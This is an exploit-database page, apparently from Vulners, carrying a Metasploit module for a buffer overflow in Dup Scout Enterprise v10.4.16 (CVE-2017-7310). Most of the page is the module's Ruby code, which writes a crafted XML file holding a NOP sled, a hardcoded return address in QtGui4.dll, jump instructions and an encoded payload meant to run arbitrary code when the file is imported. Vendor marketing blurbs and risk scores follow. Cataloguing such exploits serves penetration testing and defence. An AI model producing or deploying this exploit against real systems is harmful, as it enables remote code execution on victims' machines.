Lucene search
K

Dup Scout Enterprise v10.4.16 - Import Command Buffer Overflow

🗓️ 24 Jan 2018 20:47:46Reported by Daniel TeixeiraType 
metasploit
 metasploit
🔗 www.rapid7.com👁 45 Views

Dup Scout Enterprise v10.4.16 - Import Command Buffer Overflow exploit allows remote attackers to execute arbitrary code via a specially crafted XML file

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Dup Scout Enterprise v10.4.16 - Import Command Buffer Overflow',
      'Description'     => %q(
        This module exploits a buffer overflow in Dup Scout Enterprise v10.4.16
        by using the import command option to import a specially crafted xml file.
      ),
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Daniel Teixeira'
        ],
      'References'      =>
        [
          [ 'CVE', '2017-7310' ]
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'seh',
          'DisablePayloadHandler' => true
        },
      'Platform'        => 'win',
      'Payload'         =>
        {
          'BadChars' => "\x27",
          'StackAdjustment' => -3500
        },
      'Targets'         =>
        [
          ['Windows Universal', { 'Ret' => 0x651BB77A  } ] # JMP ESP [QtGui4.dll]
        ],
      'Privileged'      => false,
      'DisclosureDate'  => '2017-03-29',
      'DefaultTarget'   => 0))

    register_options(
      [
        OptString.new('FILENAME', [true, 'The file name.', 'msf.xml'])
      ])
  end

  def exploit
    esp = "\x8d\x44\x24\x14" #LEA EAX, [ESP+14h]
    jmp = "\xff\xe0" # JMP EAX

    buf = "<?xml ?><a name='"
    buf << make_nops(1560)
    buf << [target.ret].pack('V')
    buf << make_nops(16)
    buf << esp
    buf << jmp
    buf << make_nops(14)
    buf << payload.encoded

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buf)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
0.6Low risk
Vulners AI Score0.6
CVSS 26.8
CVSS 37.8
EPSS0.66811
45